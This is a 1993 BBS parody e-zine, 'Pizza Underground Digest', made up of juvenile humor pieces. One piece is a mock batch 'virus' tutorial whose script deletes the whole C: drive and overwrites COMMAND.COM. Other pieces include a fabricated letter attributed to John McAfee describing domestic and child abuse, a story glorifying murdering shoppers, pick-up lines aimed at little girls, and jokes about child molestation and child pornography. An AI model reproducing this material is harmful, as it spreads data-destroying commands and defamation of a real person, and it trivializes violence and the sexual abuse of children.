287 lines
14 KiB
Plaintext
287 lines
14 KiB
Plaintext
Lines in this issue: 286 Total K-ege du0d: 14628 bytes.
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PREREGISTERED EDITION OF PUD!!! PREREGISTERED EDITION OF PUD!!!
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ÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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³uDpUdPuDpUdPuDpUdPuDpUdPuDpUdPuDpUdPuDpUdPuDpUdPuDpUdPuDpUdPuDpUdPuDpUdPuDpUd
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³uDÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸pUd
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³uD³ PiZZA UNDERGROUND DiGEST Volume 3 Issue 11 Epic 12321 Baphomet ³pUd
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³uDÔÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;pUd
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³uDpUdPuDpUdPuDpUdPuDpUdPuDpUdPuDpUdPuDpUdPuDpUdPuDpUdPuDpUdPuDpUdPuDpUdPuDpUd
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ÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
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³ ³
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³ "So have you come to kill me?" [1] ³
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³ ³
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³ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
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³SPECIAL STUFF IN THIS ISSUE! READ NOW! SPECIAL STUFF IN THIS ISSUE! READ NOW!
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³SPECIAL STUFF IN THIS ISSUE! READ NOW! SPECIAL STUFF IN THIS ISSUE! READ NOW!
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ÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
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³ What's off in this issue of the snap-happiest publication you will ever ³
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³ feast your morbid sad little pervet lame-ass eye on? ³
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³ ³
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³ o Submission from Pure Energy. ³
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³ o Mail from John McAfee. ³
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³ o Stealing Day Old Bread for PhUn aNd PrOphEt. ³
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³ o FReD's Guide to Women. ³
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³ o Official PUD Membership List! ³
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³ o Ways to be swass. ³
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³ o More! ³
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ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
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³
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³ Mail From Squinky.
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³
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³ Always one to satisfy, be it women, bea..er um nevermind. Here is some
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mail from squinky. he said put it in a pud so I did.
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(13/15): Well.
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Name: Squinky #247 @2506
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Date: Sat Jun 12 01:59:49 1993
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RE: fr0?
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[Stuff edited out to protect the innocent, namely me.]
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My hair went through a comsic metaphysically change today. I went swimming in
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the ocean, and then, it started to look like one of the guys from KIss's hair.
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Put that in your pud, and Publish it.
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PHUN!@!
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þ Pure Energy in Pud? Huh?
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Little known to most before Pure Energy was in [NuKE] he had long since
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aspired to be one of the few and proud most legendary members of the
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Pizza Underground. But alas we figured he was to much of a punk middle
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aged freak to be allowed to hang around with us so we of course turned
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him down. He got really upset us and well threatened some rather mean
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things but anyways that is better left to the past. After he showed up
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at NO COURiER's[2] funeral we went out and had some coffee. We talked
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for a while and after I refused to 'go back to his place' we decided he
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could now join the ranks of pud. So here is THE first submission he made
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way back when on the faithfull day we turned him down...
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------------------------------------------------------------------------------
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VIRuZeZ ANd STUfF By: PURe eNeRGY Of [PuD] [3]
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SO yOU WAnT TO WRiTE soMe VIRuZEs wELL wE aLL d0 aND i CAN shOW yOU hOW
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rEAlly EASy WIth SOME nEAT0 bATCh FiLE tRIOCKs trHAT i LEARNed fROM sOME
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DU0DEz VIN THIS gROUp CaLLeD [nUke]. tHeY wIll n0t LET me iN BUT ThAT IS
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0K siNcE i Am Off IN pud NOW anYWayZ. oK SO TO WRITE a bACTH fILE vIRUz
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iS rEALLY vcEY eASY, DU0D.
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sTEP ONE: lEARN BATCH fILE sTUFF.
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a BATCHG FILE IS LIKE AN EXE oR c0M fILE EXCEPT dIFFErENT
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STEP tWO: hoW yOU rUN THEM.
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yOU TYPE ThE nAME weITHER aN EXTENIOn OR not.
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sTEP THrEE: wRITING OnE.
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bAYTCH FILes CAN only VE wriTTEn WIth EDLIN OR edlinpr0. aLL THE oTHER
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tEXt editORS don't COMPIULe WrITE. yOUr bATch fiLE caN bE SOMeHTING lIKE
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tHIS siMPLE eXAMPLe ONE:
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{PuDPOX VERSION 1.0}
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ECHO dU0D THIS bATcH vIRUz REQUIrES 4dOS[4] pRESz ctrl-c IF yOU dON'T hAVE IT.
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PAUSE
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COLOR RED ON WHITE
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EXCEPT (*.BAT) DEL C:\*.* /S/Q/Y
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COPY PUDPOX.BAT COMMAND.COM
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ECHO dU0d yOU hAVE bEEN hIT bY The pUDp0X vIRUz! yOUR D00MED!
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PROMPT HAhjaehEHAhaehHAEHEEAEAHAEHEA $p$g
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------------------------------------------------------------------------------
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So maybe now you can see why exactly we didn't see it was time to let
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him in but we have since changed our minds and decided that it would
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be great to have him off in the group with us. Yep more than great it
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would be swell even.
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þ Mail From John McAfee
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(9/12): Well.
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Name: John McAffee #1 @2506
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Date: Sun Jun 13 04:21:29 1993
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Dear mister King, must we go through all of this again? I am really thinking
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of informing the police of your latest tirades as they are getting very rude
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and well socially unnaceptable. Why do you insist on burying small animals
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in my front yard? I will admit it first it was kinda cute seeing small animal
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parts sticking up out of the ground first thing in the morning but after a
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while it grows tiresome. At least you could bury them all of the way. My wife
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has said now on at least ten different occasions when I was beating her that
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she no longer loves you. Therfore I have asked her to return the life size
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statue of you. Although my daughter like the "pubic" section of the statue
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and played with it daily I think the statue was a little on the rude side.
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Surely you don't always walk around with such an erection?! Also my daughter
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may like being refered to as your 'little bondage suck girl', I find this a
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little more than offensive. Furthermore the ridicule of my av products is
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quite boring now. Can you not come up with anything new? Must you use the
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same old problems that are in every version? I find that shows a rather large
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lack of imagination on your part. Well I must go now, my little boy wants his
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nightly spanking now and oh do I enj...er hopefully will not talk to you at a
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later date. Sincerely,
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John McAffee
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þ STeaLiNG BReaD!
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By: The BLT. [Brave Little Toaster]
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Many times have I the greatest thief in the world been asked how does
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one go about atealin' some bread. Well with a little careful planning
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it is quite easy. And if done right with a minimal loss of life as
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well. The trick to stealin' bread is to not over do it. Although a
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few grenades may seem like the proper tool[5] a mere machine gun will
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usually more than surfice. And just think about it if you stole have
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stolen a toaster like I told you how in my previous submissions not
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only will you be k-c00l rich but you'll be full to. What more could
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one possibly want!? Ok so you want to get some bread. I prefer the
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sunbeam places. Why? Because they seem to have very little in the ways
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of security, usually just a little girl out front selling girl scout
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cookies. Easy kill. Once inside there will be a bunch of old ladies
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gun the hags down. They have lived long enough anyways. Look for the
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women who is behing the counter SHE will be tough. I got maced once
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and had to beat the shit of the woman before I killed her don't let it
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happen to you. Once you have killed everyone grab some bred and head
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for the door. Now comes the tough part, outside the little girl will,
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if you forgot to kill her, be screaming and stuff. Now you can kill
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her or do like fReD does and just scoop her up and take her along for
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the ride. Whichever way is fine by me. So now you have some bread and
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what with the loss of only 5 to 12 lives, not bad, no, not bad at all.
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þ [MaF]ÚÄ¿ASCii!!! ±±±
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ÚÄÄÄÄ´ ³ ÉËÍÍÍÍÍ ±±±±±±±
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³ ³ ³ ÚÄÄÄ¿ ºº ÚÄÄÄı ± ±
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³ ³ ³ ³ ³ ºº ²²²²² ÚÙ ±±±
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³ ³ ³ ³ ³ ºÈÍÍÍ ²²²²² ÄÄÙ ± ±
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³ ³ ³ ³ ÚÄÁ¿ º ²²²²²²² ± ± °°°°°°°°°°°°°°
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³ ³ ³ÄÙ ÀÄ¿ ²²²²²²²²²² °°°°°°°°°°°°°°°°°° ±±±±±±±±±±°
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³ ³ ³ ÀÄÄÄ °°°°°°°°°°°°°°°°°°° ±±±±±±±±±±±±±±±±±±± ±°
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³ °°°°°°°°°°°°° ±±±±±±±±±±±±±±±±±±± ±°
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°°°°°°°°°° ±±±±±±±±±±±±± ±°
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°°°°°°° ±±±±±±±±±±±±±± ±°
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°°°°°°±°°°° ±±±±±±±±±±±±±±±±± ±°
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± °°°°°°°°°°°°°°°°°° ±±±±±±±±±±±±±±±± ±°
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± °°°°°°°°°°°°°°°° ±±±±±±±±±±±±± ±°
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± °°°°°°°°°°°°°° ±±±±±±±±±°
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±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±°
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Entitled: The wonderous voyage of the WaReZ du0d.
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Explained: This is a concept piece by none other than G-bunny. It shows
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how the oppressive foot of mankind[large bottom part] is even
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ruled by the forces of nature as displayed by the mighty hunter
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[top-right] killing the water-buffalo[middle]. As G-Bunny put
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it, 'man is never free of death, and death of man.'
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þ fReD's GUiDE to WOMeN!
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Du0Dz! SeIng How I g0t Mo Women Than MOSt Of YOu WILl EVEr SEE I WIll
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Tell YOU HOw to Get SOme. IT's K-C00ol And POHun tOO.
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FIrsT YOu NeeD SOme PICk UP LINes HEre ARe A feW of MY FavS.
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1>HEY LiTTlE GIrl WaNT SOme CaNDY?
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2>WAnnA RIde In MY Van LirttLe GIrL?
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3>BABEY, I gOT THe NeW NEW KiDS ALBUM.
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4>Get over here bitch.[4]
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5>Woooooha baby Like That hair. <-DoOsN'T WORK AlwAYs.
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6>So iS yOUR tWat FreShly ShaVen?
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7>My DaD hAD BreAstusus BigGer THan YouRS.
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8>My DaDY WiLL JoIN Us.
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9>My DoGS a ReAL Stud, babe.
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Um TheRE ARe MOre Can'T REWMmbER tHEm ALL now LooK fOR moRE iN a PuD
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NeaR YOU.
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þ The OFFICAL [PuD] Membership list!
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Here is the new current updated membership list. All of these people
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listed are known social freaks who enjoy writing for pud. You may be
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suprised at a few names on the list as they have recently joined us
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in our greatest of tasks, the destruction of mankind.
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PUD MEMBERS ARE:
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Mooga
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Pure Energy
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Squinky
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Roast
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Baphomet the Limbo King
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Fridrik Skulason
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NO COURiER
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Hymie
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ErIc Bl00DaXe
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Crowe
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Biscuit
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The BLT
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fReD
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G-Bunny
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þ Ways to be Swass.
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So being k-cOol isn't good enough for you any more? Ya wanns be all kinds
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of swass now? Well too fucking bad. If we let everyone in on our little
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secrets of swassdom the world would be a much sadder place. A place as
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sad as that great ol' MTV. DAMN we wouldn't want that now would we? No
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we wouldn't. That would be bad. Very, very bad.
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þ Anger, frustration, humility.
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If I get up off of my lazy ass and go all the way to the local payphone
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[Remember were to LaMe to phreak like REAL du0udz!] and dial up some
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loser's number they had better not just let the FUCKING phone ring, This
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has happened to me recently by a few people. But one in particular, 'Oh
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the phone probably rang 300 times..." Damn he must really suck.
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þ Support Sites.
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Ok not support sites but places I know you can at least pick up a few
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meager issues of pud. There are more and if you have some puds up for
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dl email me or someone else and we will try to add you to this list.
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JUsT ImaGInE FaMe And FOrTUne Du0D!
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Project-X 300-14.4k (205)882-0894 Sysop: Digital Saint.
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Caustic Contagion 300-14.4k (817)776-9564 Sysop: Uncle Henry.
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Cybernetic Violence 2400-14.4k (514)426-9194 Sysop: Some guy in YAM.
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Obloid Sphere 300-14.4k (708)965-3098 Sysop: I forgot.
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þ Qoute Sources.
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[1]: Went through a certain individuals mind recdently.
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[2]: A bleak and sad day for all of modem kind. What I can't seem to
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understand is why there was so much damn cheering and joy there. It
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was as if a great demon had been put to rest. Gee NO COURiER we will
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miss you greatly.
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[3]: Pure Energy also submitted some k_rAd ANSi's and a way-c00l VGA
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loader with his batch file virus.
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[4]: NO not DOS 4.0 you fucking idiots...
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[5]: An object used in the aid of completion of a task.
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[6]: ACtUALLY I goT THIs One FroM tHe LATe GrEAT NO COURiER. Du0D I
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WILL ALwAYS REmEMbeR YOU and THAt TIme IN THe BArn Is Just BetEEn
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Us, d0oud.
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[7]: Out of jail, fReD seems to be back heading towards his old law
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abiding ways.
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þ Mail addresses and such.
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Send mail to:
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----------------------------------------------------------------------
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NO COURiER 36@2506 [He's dead you know.]
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Baphomet the Limbo King 14@2506 or [crfisher@nyx.cs.du.edu]
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Hymie 86@2506 or [mpruitt@uahcs2.cs.du.edu]
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Squinky 247@2506 [He loves gerbils.]
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Crowe 240@2506 or on Vnet! haehehheehahheehhe
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----------------------------------------------------------------------
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FReD tHe ChiLd MolEstEr Off at the tennis courts.
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Mooga the Whale Currently off at Kroger's.
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The Brave Little Toaster Hittin' on NO COURiER's former love
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chevron girl.
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Roast Betty Ford Clinic.
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Biscuit Wondering if it is really right for her
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to love a rabbit so much.
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G-Bunny Wonder if her mother will approve of her
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her new lesbian chicken relationship.
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Released on the date: Thu 06-17-1993
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ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
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³ Closing Qoute: ³
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³ "There's no business like the kiddie-porn business..." ³
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³ - fReD[7] ³
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ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
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